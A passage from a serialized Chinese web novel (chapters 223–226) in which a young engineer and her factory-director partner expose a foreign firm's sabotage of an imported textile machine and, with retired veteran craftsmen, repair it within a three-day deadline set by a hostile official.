深夜十一点,吉普车终于驶入金城市区。 等车缓缓到了纺织厂大门口时,姜海棠惊讶地发现厂门口灯火通明,几个模糊的人影正在张贴什么。 姜海棠吓了一跳,莫不是厂里出什么事儿了? “这么晚了……”姜海棠着急地从吉普车上跳下来。 “你们只是在干啥呢?”姜海棠问门房的老大爷。 “哎呦,姜工回来了啊!”门房的大爷看到姜海棠,立即一声欢呼。 大爷这句话正好被后面跟着下车的成千秋听到,成千秋疑惑地看向魏同志。 “他们称呼小姜同志姜工?”成千秋怀疑自己听错了,这么年轻的工程师吗? “是姜工,可小姜同志也太年轻了点。” “等下见到我父亲,再问问小姜的情况。”成千秋也没想着在这里追问。 魏同志和成千秋两个向姜海棠道别。 “千秋姐,我们改天再见,承轩,姐姐会想你的哟。”姜海棠笑着捏了捏承轩的小脸蛋。 小家伙明显有些不开心,但还是乖巧地点点头,依依不舍地上车走了。 第223章 故意掣肘 送走了成千秋等人,姜海棠这才专心和门房的大爷说话。 “都这么晚了,怎么还有这么多人?” 因为没有走进厂里,姜海棠并不知道厂里灯火通明的在干什么。 “姜工啊,商都公安局打电话过来了,说了你在商都的丰功伟绩,救了十几个孩子,还抓到了人贩子,商都那边得以剿灭了一个人贩子团伙啊,厂里这是在准备给您庆功呢。” 门房大爷和蔼地看着姜海棠,当初第一眼见了这闺女,就觉得这闺女是个命好的,果然,他老头子的眼神还是挺好的。 姜海棠没想到,自己人还没到,消息已经传回来了。 “其实,我也就是正好看到了!”姜海棠有点不好意思了。 两个人说话的时候,已经有很多人到了姜海棠的跟前,七嘴八舌的说着话。 最后,还是门房大爷看着姜海棠实在是困了,才建议让姜海棠回家休息。 姜海棠回到家的时候,看了一眼,隔壁的院子里黑漆漆的,也不知道陆良辰是已经休息了,还是还没有回来。 还有小桃子,她一走就是二十多天,小桃子肯定很想她。 但既然隔壁的灯没有亮,姜海棠便直接回到自己家院子里,简单的洗漱了一下之后,回房睡觉了。 一宿无话。 清晨的阳光透过梧桐树叶,在纺织厂家属院的石板路上洒下斑驳的光影。 姜海棠刚拉开大门走出去,正要锁门,就看到陆良辰从隔壁的大门里走出来,正好也朝着她这个方向看过来。 许久未见,陆良辰依旧穿着那件洗得发白的藏蓝色中山装,左胸口袋别着一支钢笔,在晨光下泛着金属光泽。 只是,一个月不见,他下颌线条更硬朗了,眼下还带着淡淡的青影,神色带着淡淡的疲惫,想必这段时间厂里的工作让他熬了不少夜。 看到姜海棠,他手中的包“咣当”一声掉落在地上。 “海棠?” 这一声唤得极轻,却像是从胸腔深处挤出来的。 陆良辰站在原地没动,只有喉结上下滚动了两下。 “陆厂长。”她抿嘴笑了笑,故意用公事公办的称呼,眼睛却亮晶晶的,“生产指标完成得怎么样?” 陆良辰这才回过神,弯腰去捡手提包,耳尖已经红了:“超额完成百分之十二,姜工可还满意?” 姜海棠没忍住笑出声,陆良辰快走两步,走到姜海棠的身边,拉住她的手:“二十多天没见了,你可想我?” 这句话,陆良辰问得很小声,像是害怕别人听到一样。 姜海棠没想到陆良辰会在外面就这么问,立刻红了面颊。 “怎么还害羞了,海棠,想我了吗?”陆良辰执意要听到姜海棠的回答。 两个人从处对象以来,这是离开的最长的一次。 姜海棠最终还是点头:“想你,很想你!” “可是,你马上又要外出了,这一次走得还更加远。”陆良辰语气里有些埋怨,但并没有怪姜海棠的意思。 姜海棠知道陆良辰这是指自己要跟着周副部长去国外学习,她笑着说:“机会难得,我不想放弃!” 陆良辰捏了一下她的耳朵,说:“我也没想过让你放弃这样的机会,我们目前和国外的技术相比,确实要落后一点,你这么聪明,或许,等你学习回来,就给我们厂和机械厂带来更多的惊喜也未可知。” 姜海棠淘气的行了一个军礼说:“保证完成组织安排的任务!” “听说你昨晚就回来了?累了吧?休息了一个晚上,现在缓过来没有?今天早上要不要再休息一下?”陆良辰一叠声地问着。 姜海棠摇摇头说:“还好,不是很累,我打算今天就去看看,Y国那边怎么?” “Y国那边依然坚持原来的说法,认为是我们操作有误,才让机器有了损伤,因此,并不打算帮助我们解决问题。” “最新沟通的结果是,需要我们承担大笔的费用,才愿意纡尊降贵走一趟。”陆良辰说起这个,就觉得气恼,也是国家现在的技术不够先进,军事不够发达,才这样受制于人。 “我先看看吧,你放心,总有一天,会攻守易型。”姜海棠最后四个字说得很轻,但足够陆良辰听清楚了。 “攻守易型,哈哈哈,我真的希望这一天快点到来。”陆良辰爽朗地大笑起来。 虽然他不知道,等待攻守易型的一天要多久,但只要怀抱希望,总有一天能做到。 “我们先吃饭,然后一起过去看看机器,对了小桃子呢?” “我最近这几天忙,在孔大娘家里呢,中午要是有时间,我们把小桃子接回家,小丫头想你的紧。” 姜海棠也是真的想小桃子了,但现在,厂里的事情比较着急,只能先不让小丫头知道她回来的消息。 “好,中午你去接小桃子。” “海棠,你以后可不能冒险了,救了那些被拐的小孩子虽然是好事,可要是你也被人贩子带走了,可怎么办?” 陆良辰走在姜海棠的旁边,担忧的说着,天知道,他接到商都市公安局的电话的时候,吓得差点都站不稳了。 那些人贩子,一个个都是丧心病狂的,逼急了,真的能杀人灭口。 “我有分寸!” “不行,以后有分寸也不能这么干!”陆良辰坚决反对:“海棠,要是你出事了,你想过我和小桃子怎么办吗?” 陆良辰的语气里不自觉的带上了委屈,就好像已经被姜海棠抛弃了一样。 “好,良辰,我答应你,以后一定不会冒险了,不管什么时候,我都会保重自己。” 姜海棠柔声安抚着,她其实能理解陆良辰的想法,毕竟,十天之后,她又要出国,这一次去的地方更加陌生,陆良辰害怕她有危险也正常。 得到了姜海棠的保证,陆良辰这才安心了许多。 两个人吃了早饭,急匆匆地赶到车间。 刚到车间门口,姜海棠就看到那台从Y国进口机械静静停着,像一头沉睡的钢铁巨兽。 工人们围在旁边,脸上写满焦灼,几位老师傅正拿着扳手,袖口卷到手肘,沾满了黑色油污的焦急讨论。 “姜工来了!”不知是谁喊了一声,人群立刻让开一条道。 工人们自动分开。 “有没有请机械厂那边的人帮忙找原因?” “轴承突然卡死,连带损坏了热定型辊。”陆良辰压低声音,“机械厂那边的人说是冷却油管路被人动过手脚。” 姜海棠瞳孔微缩,“被人动过手脚”这个判断,一般不会轻易说出口。 一旦这么说了,那就是真的有问题了。 “停产多久了?” “一周,我们一直在尝试与Y国那边联系,但对方到现在都不肯飞过来。” “我们最新研发的布料,需要用到这台机器,部里要求月底前交付第一批军用帐篷布,现在……” 话未说完,就看到厂办的一个小干部急匆匆地跑进来:“陆厂长,轻工业局检查组到厂视察了,已经到您的办公室了!” 这个消息无疑是非常突然的,检查一般都会提前通知,这一次不光没有提前通知,甚至到了厂里才让他这个厂长知道,陆良辰立即意识到了来者不善。 陆良辰和姜海棠二人对视一眼,都从对方眼中看到了凝重。 王副局长端着茶杯,笑容可掬:“陆厂长啊,听说进口设备趴窝了?这可是重大生产事故啊。而且,这么重要的机器被损坏,作为厂长,你难辞其咎啊!” 陆良辰看着王副局长脸上那幸灾乐祸的样子,身后的手攥成了拳头。 “王副局长,设备故障正在排查,这几天的影响,我们会想办法补回来。”陆良辰压着性子说道。 轻工局这些人,真是烂透了,作为纺织行业的主管单位,不光不帮厂里解决问题,甚至会人为设置许多障碍,妨碍厂里的正常生产。 但陆良辰也很清楚,这种情况下,他没有办法,只能忍着。 “说得轻巧,都已经一周时间了,一个月可才四周啊!”王副局长喝了一口水,阴阳怪气地说道。 “我们肯定能有办法?” “有办法,你们能有什么办法?我可听说了,Y国不同意他们的工程师过来维修设备,国外的专家不来,你能有什么办法?就靠你厂里的那几个毛孩子?” 显然,王副局长是了解具体情况的,但他想的,应该是趁着纺织厂有困难,让纺织厂的困难更大一点。 王副局长放下茶杯,慢条斯理地掏出一支烟点上,烟雾中那双眯缝眼闪烁着精明的光。 “陆厂长,我知道你朝中有人,你回京城去不好吗?何必要在我们这小地方和我们这些土生土长的人抢饭碗呢?” 不得不说,王副局长这番话说得很直白了,纺织厂这么多的问题,归功于陆良辰的空降,妨碍了本土势力的发展,因此,被人针对了。 不过,这话王副局长也就这么轻描淡写地说了一句,然后他吐出一个烟圈,话锋一转。 “组织上最看重的就是干部的责任担当啊。陆厂长到底年轻,也不知道有没有能力承担责任!” 陆良辰挺直腰板:“王副局长有话不妨直说。” “好!我就喜欢爽快人!我今天来,就要一个准确的时间。” “七天,一周时间,我们肯定能修复好这台机器。”陆良辰咬牙说道。 第224章 故意使坏 “三天,我只给你三天时间,三天之后,要是你们还修不好这台机器——“他故意拖长声调,后面的话没有继续说下去。 旁边一名老工人立即说:“王副局长,三天时间太强人所难了,这台机器可是从Y国进口的!” “三天不能解决问题,那我也爱莫能助,陆厂长,看起来,你们厂里的同志们,也认为你没有修好机器的本事啊。” 王副局长这番话说得让在场的工人们都想冲上去打人了,但是大家这时候都还有理智在,知道打人解决不了任何问题。 “陆厂长,我吃过的盐比你吃过的饭还都,听我一句劝,有多大的能耐端多大的碗,要是实在没有能耐端着这个碗,还是交给别人为好。” “王副局长吃过的盐比我吃过的饭还要多,只能证明王副局长口味重。不过,这是您自己的喜好,我无权干啥,但请您尽管放心,我对我的能力了解还是比较清晰的。”陆良辰不卑不亢地说。 当初胡厂长来纺织厂的时候,大概也是面临过这样的问题吧? 其实,这些小打小闹,并不至于动摇他在厂里的根基,可是却让人有种如鲠在喉的恶心感。 王副局长被陆良辰这样的话呛得面色涨红。 “好,我喜欢这样敢说话的干部,三天之后,如果不能修好设备,你这个厂长主动请辞吧!” 王副局长这两句话说得咬牙切齿,那意思很明显,就是等着陆良辰辞职呢。 在场的人气的涨红了脸,年轻小伙子们更是攥紧了拳头。 但是,人在屋檐下,不得不低头,他们没有任何办法,只能看着王副局长耀武扬威地离开。 “厂长,怎么办?”有人焦急地问。 “我这就去车间。”陆良辰深吸一口气,决定回到车间,跟姜海棠共同找出解决之道。 等他到车间的时候,就看到姜海棠正在一点点地观察机器。 她的表情凝重且认真,就连周围的人,也凝神静气,连一点声音都没有,似乎害怕呼吸声音太大,会影响到姜海棠一样。 姜海棠半跪在机器旁,纤细的手指抚过冰冷的金属外壳,指尖在每一道接缝处稍作停留。 阳光从高窗斜射进来,在她专注的侧脸投下细碎的光斑。 “扳手。”她突然伸手。 老钳工刘师傅立即递上工具。 姜海棠利落地卸下侧板,一股混合着焦糊味的机油气息顿时弥漫开来。 十几个工人不约而同地屏住呼吸,每一个人都非常紧张。 “看这里。”姜海棠的螺丝刀尖点在主轴轴承座上,那里有一道几乎不可见的划痕,“公差被故意放大0.15毫米。” 陆良辰俯身查看,鼻尖几乎碰到她的发梢:“是出厂时就有的?” “不。”姜海棠从轴承缝隙夹出一片亮晶晶的金属垫片,“这是后期加装的定位片,材质和原厂完全不同。” 她将垫片对着光转动,“Y国军工厂特制的镍合金,普通民用设备根本用不上。” 车间里响起一片抽气声,这种精密算计,分明是蓄谋已久的陷阱。 姜海棠已经继续向下探查。 她的指尖突然在冷却油管接口处停住:“问题不止一处。”她示意陆良辰靠近,“接口螺纹被人为磨损过,导致油压不稳。” “能确定是人为?”陆良辰声音发紧,一双拳头更是恨不得直接砸到Y国人的头上去。 姜海棠没有立即回答。 她取下挂在脖子上的放大镜,仔细检查螺纹内侧。 片刻后,她抬起头,镜片上反射着冷光:“螺纹磨损痕迹呈现规律性斜纹,只有专用铰刀才能加工出这种效果。” “狗日的!”刘师傅一拳砸在工具箱上,“这是存心欺负我们啊!” 陆良辰脸色铁青。 难怪Y国的专家要求他们支付高额的维修费用,原来,故障就是他们人为制造的。 “海棠,”他蹲下身与她平视,声音轻得只有两人能听见,“有把握吗?” 姜海棠的目光扫过周围殷切的面孔,最终落在那叠泛黄的操作手册上。 “给我看下热分析仪。”她突然说。 当仪器接通的瞬间,显示屏上的曲线让所有人倒吸凉气,热定型辊的温控模块竟被篡改了参数阈值! “难怪会突然卡死。”姜海棠快速在笔记本上演算,“他们设置了反向温度补偿,机器运转越久,误差就越大……” 陆良辰看着她笔下流畅列出的微分方程,突然按住她颤抖的手腕:“你早就怀疑有问题?” 姜海棠想说是,可是,有些话,众目睽睽下真的不能说。 她也是上辈子到了顾教授家里才知道的,70年代进口设备普遍存在技术壁垒,外方经常在关键参数上做手脚,迫使中方支付高额维修费,当时,为了这些机器,华国付出了非常大的代价,这也是造成国内外汇紧张的一个原因。 “从第一次异常停机就开始记录数据。”姜海棠翻开手册最后一页,那里贴满了折线图,“只是没想到...他们连这种手段都用上了。” 与此同时。 Y国。 技术顾问汉斯·穆勒正悠闲地品着咖啡,嘴角挂着胜券在握的笑容。 他面前摊开的维修报价单上,赫然写着令人咋舌的数字:15万美元。 “穆勒先生,”另外一名外国人一眼不眨地盯着汉斯·穆勒,小心翼翼地问:“华国的金城纺织厂又来电话询问维修事宜……” “鲁槟斯,告诉他们,价格一分都不能少。”穆勒用银勺轻轻搅动着咖啡,杯沿的金色徽章在阳光下闪闪发亮,“而且,现在要预付50%定金,我们才能出发。” 助理卡尔忍不住插话:“先生,他们似乎很执着,已经打了七次电话了。” 穆勒嗤笑一声,从抽屉里取出一盒精致的雪茄,慢条斯理地剪开雪茄。 “让他们继续打电话吧,等他们着急了,才会答应我们的要求,到时候不要说我们要求巨额的维修费用他们不会反对,就是让他们像狗一样跪在我们面前,他们也是愿意的。” 穆勒吐出一个完美的烟圈,眯着眼,似乎已经看到了华国人匍匐在自己脚下的场景。 “这些华国人啊,总以为能靠几本破手册就掌握我们的技术。”转头对卡尔说,“记得把备用零件的价格再上调20%,就说……汇率波动。” 卡尔犹豫道:“可是先生,万一他们真的自己修好了,或者寻求其他人的帮忙怎么办?” “修好?”穆勒像是听到了天大的笑话,拍着桌子大笑起来,“就凭他们那些土作坊的工具?就算是努力一辈子,都做不到。” 至于其他人? 穆勒他得意地敲了敲太阳穴,“我在温控模块里埋了个小惊喜,他们就算发现异常,也绝对算不出补偿公式!除了我,任何人都做不到。” 何况,华国也有和他们不是一条心的人,比如那位偷偷联系过他的颜先生…… 他告诉他,金城纺织厂已经停产一周,厂长陆良辰被勒令三天内解决问题,如果不能解决问题,就要引咎辞职。 连华国的官员都帮着自己整他们,他有什么好担心的? 他起身从酒柜取出一瓶白兰地,“来,提前庆祝又一个华国客户乖乖掏钱!这几年,如果没有华国,我们的生活,未必能有如此滋润,感谢华国的客户们!” 就在酒杯相碰的瞬间,办公桌上的电话突然刺耳地响起。 而此时,遥远的金城纺织厂里,陆良辰和姜海棠正在积极努力地想办法解决问题,而不是想着掏出巨额的费用请穆勒到华国。 “我们需要自主研发替代部件,这不是我一个人能解决的问题,良辰,麻烦你给毛厂长打电话,请他那边安排人协助我们。尤其是云老师,还有……”姜海棠在确定了问题之后,立即找到解决的办法。 不付出高额的费用请Y国的专家来维修,必然弄不到适配的配件,那就只能依靠自力更生了。 “我还需要破解他们留在机器里的温度补偿算法。” 陆良辰问:“海棠,辛苦你了,如果实在没有办法在三天之内完成,我可以不当这个厂长。” “良辰,我心里已经有主张了,我想,到今天晚上,我就可以初步推导出改进方案了。” 类似的案例,她夜梦的时候看到过,虽然和这个不是完全一样,但也有共通的地方,举一反三,应该能解决问题。 陆良辰点头,转身出去给毛厂长打电话去了。 毛厂长接到电话的时候,一口答应下来,机械厂现在已经和纺织厂深度捆绑,不要说借人,就是其他的事只要能帮忙的,毛厂长都没有拒绝的道理。 很快,顾昀笛带着人到了纺织厂,听了姜海棠的解释,又看了姜海棠的图纸之后,顾昀笛沉默片刻,便点头应下。 “有难度,但我会努力,我相信我们一定能在规定的时间之内完成任务。” 第225章 齐心协力 车间里的空气像被压缩过的弹簧,紧绷得能听见彼此的心跳。 姜海棠将那片镍合金垫片放在工作台上,金属表面在灯光下泛着冷光,她指尖划过那些人为打磨的斜纹,突然抬头看向众人。 “Y国人算准了我们没有替代零件,更破解不了他们的算法。但他们并不知道,我们华国人从来不会放弃。我相信,在我们共同努力下,一定能解决问题。” “海棠,我们一起努力,一定可以!”顾昀笛语气坚定的说道。 这个国家,受制于外国那些所谓的专家已经很久了,如果这一次能够顺利解决,也算出了一口恶气。 “海棠,咱们纺织厂还有几位厂宝,或许,我们可以请来帮忙。”陆良辰忽然说道。 姜海棠一愣。 厂宝? 什么是厂宝? 姜海棠是这么想的,也是这么问的。 “我们厂里有几位退休的老师傅,一位是当年给飞机发动机做过垫片的刘师傅,一位是机床能车出镜面精度的王师傅,还有一位研究材料力学的老专家李老师。” 姜海棠还真不知道,厂里有这么多的厉害人物。 一时之间,她都怀疑自己是不是听错了。 “真的吗?他们现在能找到吗?”姜海棠的语气里带着惊喜。 “可以,我立即安排人请他们过来,不,我亲自去。海棠,你先和云老师商量看看有没有什么好的解决方案。” 姜海棠点头,她原本有六成把握能按时完成任务,现在,如果再能添这么几位,那就更有把握了。 “云老师,我们研究一下……” 姜海棠不耽误时间,立即拉着顾昀笛开始讨论起来。 黎景程几个人在一旁认真地听着,顺便将两个人讲到的重点记录梳理一下。 姜海棠抓起铅笔在图纸上划出条弧线:“我们需要三种替代件:主轴轴承座要重新加工,公差必须控制在0.03毫米以内;冷却油管接口的换用铬钒钢,抗磨损性能比原厂的黄铜件更好;最重要的是这个温控模块……” 她指尖重重敲在模拟绘制的曲线上。 “他们的补偿算法藏在三阶微分方程里,得用变分法反推参数。” “微分方程?”段长河挠了挠头,手里的扳手差点掉地上,“那不是大学课本里的东西?我以前觉得这个没什么用,都没学明白。” 姜海棠当然没有想过让段长河和黎景程他们解决这个问题。 这两位虽然欧式大学毕业的,但毕竟是工农兵大学,学到的知识相对比较有限。 至于姜海棠自己,也只知道这个原理。 她的基础其实还不如黎景程和段长河,她属于临时补课类型选手。 要是真的让她将这些都弄出来,她真没自信,更不会自大到认为自己可以解决这个问题。 不过,作为曾经在大学里执教的教授,顾昀笛在这方面应该可以。 “云老师,这个能请您帮忙吗?这方面我有些薄弱!” 顾昀笛听姜海棠这么说,脸上不由划过一抹笑容。 “我还以为,你是无所不能的,原来也有不懂的啊!” “是人就会有不足之处,我有很多不懂的。” “所以得请云老师您帮忙。”姜海棠撕下张演算纸,飞快写下串公式,“顾师傅,您那边的精密车床能车削铬钒钢吗?硬度可能超标。” 顾昀笛接过图纸,眉头在眉心拧成个疙瘩:“普通车刀肯定不行,但我们刚到了批钨钢刀头,是给军工厂赶工剩下的。不过得连夜改刀架,不然走刀精度不够。” 他转身对带来的学生说:“小王,你去一趟机械厂,请示一下,把那台苏国产的老车床调出来,那玩意儿床身沉,抗震性比新的好!” 这边一系列的事情刚安排妥当,陆良辰已经带着一位老同志到了门口。 老同志拄着拐杖站在门口,军绿色的中山装袖口磨出了毛边,眼镜片后的眼睛却亮得惊人。 “海棠,这位是老专家李建东。” “李老师您好。”姜海棠立即上前和李老打招呼。 “真没想到,我一把老骨头了,还有为厂子做贡献的时候,小姜啊,我知道,你是个很厉害的孩子,有什么需要我的地方,你不要客气,只管对我说。” 姜海棠能看出来,老同志说的是真心话,毕竟,老一辈人,为国家为集体和人民奉献的精神是毋庸置疑的。 姜海棠又将目前面临的困境说了一下。 “小姜说的微分方程,拿来我看看。”李老也不客气,直接开口。 顾昀笛立即将草稿纸上记录和验算的一些内容拿了过来。 李老盯着顾昀笛看了几眼。 陆良辰忙介绍:“李老,这位是机械厂的外聘工程师云老师。” 李老却若有所思地多看了好几眼顾昀笛,显然,他看出了点儿什么。 “李老,你好啊,很荣幸有这个机会和您一起共克时艰。”顾昀笛立即上前握住李老的手。 李老笑了笑,并没有多说话。 让低头开始看顾昀笛递给他的相关资料。 姜海棠才发现李老捧着资料的手指在微微发颤,不像是因为害怕,而像是兴奋。 陆良辰看到姜海棠一直盯着李老看,凑到她身边,给她简单地介绍了一下李老的情况。 李老曾是京大的高才生,而且当年在美国留过学,只是他回来后,因为一些个人的原因,不得不隐姓埋名在纺织厂当技术员。 也正是因为这个原因,这些年,李老才能平平安安的。 这些信息还是当初胡厂长搞清楚之后,悄悄告诉陆良辰的。 “这是典型的非线性滞后系统。”老人指着曲线拐点处,“Y国人耍了个小聪明,把补偿系数藏在傅里叶级数的余项里,表面看是二阶方程,实际是三阶隐函数。” 他从随身的帆布包里掏出本泛黄的《工程数学》,书页间夹着张1956年的演算纸,上面的字迹和现在如出一辙。 “当年给鞍钢改轧钢机,遇见过类似的陷阱。他们为了掣肘我们,这些年,没少干这种事,每个厂子几乎都曾经遭遇过这样的霸凌。” 老人说起这段历史的时候,义愤填膺。 姜海棠眼睛一亮:“您是说用拉普拉斯变换?” “不止。”李老在图纸背面画出坐标系,“还得考虑西北的昼夜温差,温度每波动一度,金属热胀系数会变,这是他们没算到的变量,正好能反过来破他们的算法。” 李老果然是这方面的专家,开始说之后,越来越兴奋。 “我先去请其他两位师傅了,海棠,这边就交给你了。”陆良辰说完之后,立即出发。 而这边,姜海棠等人也在努力地推进工作进展。 陆良辰安排人送来午饭,是食堂蒸的玉米面窝头和炒咸菜,另外还给他们几个人准备了一份红烧肉和一份肉末炒豆腐送过来。 几个人就是吃饭的时候,都没有停下工作,而是边吃饭边讨论。 这边刚吃完饭,刘师傅就到了。 刘师傅拉了之后,多余一句废话都没有,立即投入到紧张的工作中, 刘师傅往手心啐了口唾沫,粗糙的手掌在工装裤上蹭了蹭:“丫头你说咋干!当年修战斗机涡轮的时候,比这小一半的垫片都车过,大不了今晚不睡觉!” 他身后闻讯赶来的几个老钳工纷纷点头,工具箱里的刮刀和油石碰撞出清脆的声响,像是在应和这句承诺。 姜海棠简单地说了一下情况,刘师傅立即开工。 他手里的刮刀飞快地动着,在镍合金坯料上刮出细碎的银屑,落在油污的工作台上,像撒了把星星。 “丫头,你看这纹路齐不齐?”他举起半成品垫片,灯光下能看见细密的同心圆。 “当年给轰炸机修发动机,要求更高,眼睛盯着游标卡尺,手的稳如泰山。”说起当年的事,刘师傅脸上都是骄傲。 姜海棠刚想说什么,突然听见机床那边传来“哐当”一声巨响。 顾昀笛抱着胳膊蹲在地上,旁边的车刀断成了两截。 “云老师,您没事吧?” “我没事,只是铬钒钢太硬,钨钢刀头也扛不住。”他抹了把脸上的汗,“这样下去,三天都车不出一个合格的接口。” 车间里瞬间安静下来,只有车床空转的嗡鸣。 “用火焰淬火!”李老突然开口,“把钢坯烧到暗红,再用冷水激,硬度能降下来三成,但韧性不变。老顾,你忘了1965年给油田车抽油杆时用过这法子?” 这话说完了,李老似乎才想起什么,他忙说:“太着急,把你当成我的一位故人了。” 顾昀笛笑道:“姓名不过是个称呼罢了,对与错有什么关系。” 姜海棠算是听明白了,这两位肯定是认识的,而且关系应该还不错。 半小时后,车间角落支起了简易淬火台。 氧炔焰喷吐出蓝紫色的火苗,将钢坯烧得通红,像块正在融化的琥珀。 一名老钳工拎着水桶候在旁边,等顾昀笛喊“放”,就猛地将工件按进冷水里,白雾“嘶”地腾起,裹着股铁腥味。 第226章 成功了 淬火后的钢件泛着青黑色的光泽,顾昀笛重新装上车床,车刀接触工件的瞬间,发出清脆的“沙沙”声,这次再没崩刃。 “成了!”他盯着游标卡尺上的数字,声音里带着不易察觉的颤抖,“直径误差0.01毫米!” 与此同时,李老和姜海棠的演算纸已经堆成了小山。 李老帮姜海棠核对完最后一组参数,突然指着其中一页:“这里的边界条件不对,西北海拔高,大气压比海平面低,热传导系数的修正1.2倍。” 姜海棠一愣,她这时候才发现,她的知识其实是有欠缺的,也亏得有这样的老专家悉心指导,要不然,她可能真的完不成任务。 “谢谢您,果真家有一老如有一宝啊。” 李老从怀里掏出个磨得发亮的计算尺,滑杆拉动的声音在车间里格外清晰,“当年在青省修水电站,就吃过这个亏。” 不多时候,陆良辰说的最后一位厂宝也到位了,正是能将机床车出镜面精度的王师傅。 王师傅和之前来的两位有点不一样,这位五官有点冷硬,也不怎么说话,但是干活的时候,一点都不含糊,有了他的帮忙,进度开始快了起来。 晚饭依旧是陆良辰安排人送过来的,不过,这次,他也来了。 “工作虽然紧张,但大家要及时休息,要是你们各位的身体累垮了,咱们才是真的什么指望都没了。” 陆良辰看着大家一刻都不停歇的样子,十分心疼。 “陆厂长,时间不等人啊,给我们的时间一共就这么多。”顾昀笛头都没抬地开口。 陆良辰成魔了,是啊,时间不等人啊。 可是,这些人的身体熬不住啊,尤其是三位老同志的身体,更是要注意。 “良辰,你安排人弄几张床铺过来,就在那边弄个简易的休息室,大家轮换休息。”姜海棠建议说。 陆良辰答应下来,这种时候,他帮不上其他忙,只能做好后勤保障工作。 “大家先吃饭,吃完饭休息一下再开始工作吧,休息也是为了更好的工作,有句老话是怎么说的?磨刀不误砍柴工,休息好了,工作起来还会更加有效率。” 对于陆良辰这一番话,大家都是认同的,因此,都将手头的工作停下来开始吃饭。 晚饭比中午的饭菜还要更加丰盛一些,不光有肉菜,还炖了软烂的鸡蛋羹。 “张师傅知道我们这边的情况,主动提出今天晚上要在食堂加班,随时为我们大家准备好热水和夜宵,大家想吃什么可以说,我们提前准备。”陆良辰看着饭吃得差不多了,这才说。 “嗨,我们加班工作,拖累别人干什么?这个张尚文,还是这样,也不看看自己多大年龄了。”李老说道。 “今晚厂里很多人都睡不着,就随了大家的意思吧,大家都是想为厂里的事贡献一份力量。”陆良辰立即解释。 既然陆良辰都这么说了,其他人便也不多说话了。 吃完饭稍微休息了一会儿后,大家重新开始忙碌起啦。 姜海棠和顾昀笛两个人改完最后一个公式时,天边已经泛起鱼肚白。 但这只是数据完成了,具体到底是什么情况,还需要进行实验才可以。 “小姜啊,你休息休息,老头子先看着。”李老休息了几个小时之后,走过来说道。 这小姑娘,基础不是很好,有些知识甚至都是欠缺的,可她有一股子韧劲,是其他人比不了的。 通过昨天晚上短暂的和顾昀笛交流,他也知道了,顾昀笛之所以化名为云老师在钢铁厂上班,也是因为姜海棠的功劳。 因此,李老对姜海棠的印象好得不得了。 姜海棠也确实累了,一个晚上持续不断的高强度工作,让她头晕眼花的,急需要休息。 “云老师,您也先休息一下吧,再熬下去,身体吃不消。” 顾昀笛点头,确实熬不住了,他这几个月才将身体调养得稍微好了一些,可不敢太放肆地折腾。 两个人各自去休息。 姜海棠是被一阵欢呼声吵醒的。 “温度补偿成功了!”是黎景程的声音,小伙子声音激动得不得了。 姜海棠急忙跑过来,李老推了推眼镜,镜片后的眼睛湿润了,“小姜啊,你比我当年强。” “是大家一起努力的功劳,我做的其实很有限,如果不是你们大家一起努力,靠我一个人,不可能完成这项任务。” 车间里爆发出雷鸣般的掌声,有人把安全帽抛到空中,又被稳稳接住。陆良辰看着姜海棠布满血丝的眼睛和乱糟糟的头发,竟然觉得,眼前的人,是这个世上最可爱的。 “虽然咱们的温度补偿成功了,但这只是第一步,我们还要将机械需要的配件加工出来才行。”欢呼过后,李老给大家浇了一瓢凉水。 瞬间,沸腾消失了,大家都沉默了。 “这个交给我们几个,肯定按时完成任务!”刘师傅和王师傅异口同声地表态。 刘师傅咧嘴一笑,露出被烟熏黄的牙:“当年给志愿军修枪炮练出来的手艺,没想到今天用上了!” 整整三天时间,大家吃住都在车间里,就算七十岁的李老,也没有叫过一声苦,面对困难的时候,没有一个人想过放弃。 终于,在第三天晚上,他们成功地解决了问题。 甚至,经过他们重新改装的机器效果比原来还要好。 在确定机器没有问题之后,姜海棠等人瞬间觉得疲惫到站立不稳。 最后是刚从广交会上回来的赵凯带着人一个个把他们送回家休息的。 第二天一大早,当王副局长带着秘书趾高气扬地走进车间时,看到的不是停产的窘境,而是一派热火朝天的景象。 刘师傅正在给新加工的轴承座做最后打磨,顾昀笛指挥着工人吊装新配件,姜海棠则蹲在控制面板前,微调着最后几个参数。 “陆厂长,看来你是准备好辞职报告了?” 王副局长的声音里带着施舍般的笑意。 陆良辰没理他,只是对姜海棠点头示意。 姜海棠会意,郑重地按下启动按钮,整条生产线突然轰鸣起来,雪白的涤纶丝从辊筒间倾泻而下,泛着珍珠般的光泽。 “这不可能!”王副局长失控地喊道:“明明 Y国的专家都没有答应来维修,你们怎么可能有办法?” “真是不好意思,让王副局长您失望了,您不是都看到了?咱们的机器修好了。”姜海棠站起身,工作服上还沾着机油,但她一点都没有觉得邋遢,反而挺直了脊背站在王副局长面前。 “或者,您可以给Y国的穆勒先生打个电话,问问他是不是没想到,我们用老车床和淬火台,就能造出比原厂精度还高的零件。您应该有他的联系方式吧?” 姜海棠这话本来只是猜测,但是看到王副局长的脸瞬间涨成了猪肝色,她知道,自己猜对了。 “你……你们……”他指着姜海棠,再看看陆良辰,半天说不出句完整的话。 这时,车间门口传来汽车喇叭声,毛厂长带着几个机械厂的工人走了进来。 “陆厂长,小姜同志,我听说,你们解决问题了,恭喜恭喜啊!” 他嗓门洪亮,震得王副局长往后缩了缩脖子。 陆良辰忙上前和毛厂长打招呼:“还要感谢你啊,毛厂长,要是没有你们机械厂的支持,我们纺织厂这一次可就麻烦了。” “我们就是要团结一心,让那些心里都是小九九的人看看,我们华国人,是不信邪、不服输的!” 说这个话的时候,毛厂长还意有所指地看了一眼王副局长。 王副局长很是恼火,可是,对方偏偏没有提到他,他还不能自已对号入座。 “您说得对,这一次,我们不光修好了我们自己的机器,还整理出了替代零件的图纸和算法公式,我们打算回头就上交,以后再遇到类似的技术封锁,就不用再看外国人的脸色了。” 王局长听着陆良辰这一番铿锵有力的话,再看看现场这些人面容上的疲惫,忽然觉得脸烧得慌。 “我老毛是个粗人,不懂其他的,我就信一句话‘苟利国家生死以,岂因祸福避趋之’我们华国没有孬种。” 王副局长:我觉得你在说我,但是我没有证据! 王副局长见势不妙,悄悄往后退,想趁乱溜走,但最终却还是选择站定脚步。 “陆厂长,是我们错了,以后,我们轻工局会全力以赴支持纺织厂的工作,不管厂长是谁!” 王副局长说完,落荒而逃。 他知道,有些事,他说了不算,但是今天纺织厂给他上的这一课,实在是太让他震撼了,不管怎么样,他都要为纺织厂争取。 众人知道,属于纺织厂的磨难,或许已经过去了,未来一切都会向好。 